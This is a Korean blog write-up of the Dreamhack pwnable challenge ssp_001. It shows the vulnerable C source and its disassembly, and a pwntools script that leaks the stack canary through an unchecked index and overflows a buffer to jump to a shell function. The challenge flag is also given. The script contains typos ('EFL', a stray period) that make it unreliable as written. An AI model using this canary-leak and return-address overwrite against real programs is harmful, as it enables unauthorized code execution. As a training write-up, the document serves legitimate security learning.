티스토리 뷰


ELF 파일과 C파일이 주어진다.

Canary와 NX 보호기법이 걸려있는 것을 확인할 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
get_shell 함수를 호출하면 쉘을 딸 수 있다.
F, P, E로 스위치 문을 실행한다.
F 입력 시 : box(0x40) 사이즈 만큼 입력할 수 있다.
P 입력 시 : idx를 입력받고, print_box 함수를 호출한다.
E 입력 시 : name_len을 입력받고, 입력 받은 name_len 만큼 name을 입력받을 수 있다.
여기서 name은 0x40으로 할당되어 있는데
사용자가 지정한 name_len 만큼 입력받을 수 있으므로 BOF 발생!!
ret 값을 get_shell() 주소로 바꾸면 될 것 같다.
0x0804872b <+0>: push %ebp
0x0804872c <+1>: mov %esp,%ebp
0x0804872e <+3>: push %edi
0x0804872f <+4>: sub $0x94,%esp
0x08048735 <+10>: mov 0xc(%ebp),%eax
0x08048738 <+13>: mov %eax,-0x98(%ebp)
0x0804873e <+19>: mov %gs:0x14,%eax
0x08048744 <+25>: mov %eax,-0x8(%ebp)
0x08048747 <+28>: xor %eax,%eax
0x08048749 <+30>: lea -0x88(%ebp),%edx
0x0804874f <+36>: mov $0x0,%eax
0x08048754 <+41>: mov $0x10,%ecx
0x08048759 <+46>: mov %edx,%edi
0x0804875b <+48>: rep stos %eax,%es:(%edi)
0x0804875d <+50>: lea -0x48(%ebp),%edx
0x08048760 <+53>: mov $0x0,%eax
0x08048765 <+58>: mov $0x10,%ecx
0x0804876a <+63>: mov %edx,%edi
0x0804876c <+65>: rep stos %eax,%es:(%edi)
0x0804876e <+67>: movw $0x0,-0x8a(%ebp)
0x08048777 <+76>: movl $0x0,-0x94(%ebp)
0x08048781 <+86>: movl $0x0,-0x90(%ebp)
0x0804878b <+96>: call 0x8048672 <initialize>
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push $0x2
0x08048797 <+108>: lea -0x8a(%ebp),%eax
0x0804879d <+114>: push %eax
0x0804879e <+115>: push $0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add $0xc,%esp
0x080487a8 <+125>: movzbl -0x8a(%ebp),%eax
0x080487af <+132>: movsbl %al,%eax
0x080487b2 <+135>: cmp $0x46,%eax
0x080487b5 <+138>: je 0x80487c6 <main+155>
--Type <RET> for more, q to quit, c to continue without paging--
0x080487b7 <+140>: cmp $0x50,%eax
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp $0x45,%eax
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push $0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add $0x4,%esp
0x080487d3 <+168>: push $0x40
0x080487d5 <+170>: lea -0x88(%ebp),%eax
0x080487db <+176>: push %eax
0x080487dc <+177>: push $0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
0x080487e3 <+184>: add $0xc,%esp
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push $0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add $0x4,%esp
0x080487f8 <+205>: lea -0x94(%ebp),%eax
0x080487fe <+211>: push %eax
0x080487ff <+212>: push $0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add $0x8,%esp
0x0804880c <+225>: mov -0x94(%ebp),%eax
0x08048812 <+231>: push %eax
0x08048813 <+232>: lea -0x88(%ebp),%eax
0x08048819 <+238>: push %eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add $0x8,%esp
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push $0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add $0x4,%esp
0x08048831 <+262>: lea -0x90(%ebp),%eax
0x08048837 <+268>: push %eax
--Type <RET> for more, q to quit, c to continue without paging--
0x08048838 <+269>: push $0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add $0x8,%esp
0x08048845 <+282>: push $0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add $0x4,%esp
0x08048852 <+295>: mov -0x90(%ebp),%eax
0x08048858 <+301>: push %eax
0x08048859 <+302>: lea -0x48(%ebp),%eax
0x0804885c <+305>: push %eax
0x0804885d <+306>: push $0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
0x08048864 <+313>: add $0xc,%esp
0x08048867 <+316>: mov $0x0,%eax
0x0804886c <+321>: mov -0x8(%ebp),%edx
0x0804886f <+324>: xor %gs:0x14,%edx
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov -0x4(%ebp),%edi
0x08048887 <+348>: leave
0x08048888 <+349>: ret
gdb로 어셈블리 코드를 확인해 보자!
select : ebp-0x8a
box : ebp-0x88
idx : ebp-0x94
name_len : ebp-0x90
name : ebp-0x48
에 저장되는 것을 확인할 수 있다.
<main+4> sub $0x94,%esp
를 보면 스택을 0x94만큼 확장하는데 변수의 크기가 총 0x90이다.
따라서 0x4만큼의 dummy가 있는 것이다.
<main+19>: mov %gs:0x14,%eax
<main+25>: mov %eax,-0x8(%ebp)
gs:0x14에서 canary 값을 가져와서 eax에 저장하고
%ebp-0x8에 저장하는 것을 확인할 수 있다.
(따라서 canary는 ebp-0x8에 있음)
스택은 다음과 같다.
| ebp-0x94 | idx[4] |
| ebp-0x90 | name_len[4] |
| ebp-0x8a | select[2] |
| ebp-0x88 | box[40] |
| ebp-0x48 | name[40] |
| ebp-0x08 | canary[4] |
| ebp-0x04 | edi(dummy) |
| ebp | sfp[4] (이전 ebp) |
| ret[4] |
canary는 버퍼가 모두 할당된 후에 버퍼랑 sfp(이전 스택 프레임 ebp) 사이에 존재하니,
name 다음에 위치한다.
from pwn import*
p = remote('host.dreamhack.games', 9590)
e = EFL('./ssp_001')
get_shell = e.symbols['get_shell']
canary =b""
#canary leak
for i in range(131, 127, -1):
p.sendafter('>', 'p')
p.sendlineafter('Element index : '. str(i))
p.recvuntil(' : ')
canary += p.recv(2)
canary = int(canary, 16)
#BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)
p.sendlineafter('> ', 'E')
p.sendlineafter('Name Size : ', str(1000))
p.sendlineafter('Name : ', payload)
p.interactive()
exploit 코드를 실행해보자

성공적으로 flag를 구했다!
flag
DH{00c609773822372daf2b7ef9adbdb824}
'Wargame > Pwnable' 카테고리의 다른 글
| [Dreamhack.io] ssp_000 (0) | 2024.04.03 |
|---|
- Total
- Today
- Yesterday
- 포렌식
- Cookie
- rev
- cheatengine
- CTF
- 해킹
- AssaultCube
- SQLi
- Fiesta
- dreamhack
- 스테가노그래피
- Steganography
- md5
- 취약점
- forensics
- reversing
- Android
- 모바일
- 리버싱
- web
- 드림핵
- networking
- forensic
- FTKImager
- 인시큐어뱅크
- MISC
- sqlinjection
- 안드로이드
- mongodb
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | |||||
| 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| 10 | 11 | 12 | 13 | 14 | 15 | 16 |
| 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| 24 | 25 | 26 | 27 | 28 | 29 | 30 |
| 31 |